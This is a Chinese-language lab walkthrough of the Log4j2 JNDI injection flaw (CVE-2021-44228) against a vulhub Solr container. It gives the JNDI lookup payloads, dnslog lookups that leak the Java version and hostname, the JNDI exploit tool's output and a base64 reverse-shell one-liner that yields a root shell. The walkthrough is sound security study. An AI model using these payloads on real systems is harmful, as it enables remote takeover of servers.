Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。
该工具重写了Log4j框架,并且引入了大量丰富的特性。
我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
该日志框架被大量用于业务系统开发,用来记录日志信息。
Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rc1(补丁绕过)
log4j + ? = rce !
这里以vulhub提供的Solr作为靶机环境
┌──(rootkali)-[~/vulhub/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Creating cve-2021-44228_solr_1 ... done
访问靶机环境http://192.168.1.27:8983/solr/#/
action=${jndi:ldap://X.X.X.X/exp}
action=${jndi:ldap://iwpm6l.dnslog.cn}
先获取一个dnslog的子域名,并在靶机中进行ldap请求
dnslog回显正常,接下来利用dnslog获取java版本信息
action=${jndi:ldap://${sys:java.version}.iwpm6l.dnslog.cn}
action=${jndi:ldap://${env:HOSTNAME}.iwpm6l.dnslog.cn}
这里用到一个JNDI注入的小工具,可以生成JNDI链接并启动后端相关服务
https://github.com/welk1n/JNDI-Injection-Exploit
可执行程序为jar包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
命令会被作为参数传入Runtime.getRuntime().exec()
函数中
首先运行jar,在本地启动服务,生成恶意的JNDI Links
root@iZ2zec7mjp663ump9wsug3Z:~# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 39.107.138.71
[ADDRESS] >> 39.107.138.71
[COMMAND] >> touch /tmp/success
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://39.107.138.71:1099/snyuh8
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://39.107.138.71:1099/0puzfm
ldap://39.107.138.71:1389/0puzfm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://39.107.138.71:1099/tcub4d
ldap://39.107.138.71:1389/tcub4d
这里使用JDK 1.8的链接,将其作为JNDI查询的对象,从而使得靶机访问ldap服务,获取到恶意的class文件
返回容器中查看可以看到touch
命令成功执行
┌──(rootkali)-[~/vulhub/log4j/CVE-2021-44228]
└─# docker exec -it 28c4b1734b97 /bin/bash
root@28c4b1734b97:/opt/solr# cd /tmp
root@28c4b1734b97:/tmp# ls
hsperfdata_root start_2309813075613123050.properties
jetty-0_0_0_0-8983-webapp-_solr-any-7467976691080398284 success
将命令换成反弹shell
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTM4LjcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
攻击机监听6666端口成功获取shell
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 171.43.224.56 13709 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@28c4b1734b97:/opt/solr/server# whoami
whoami
root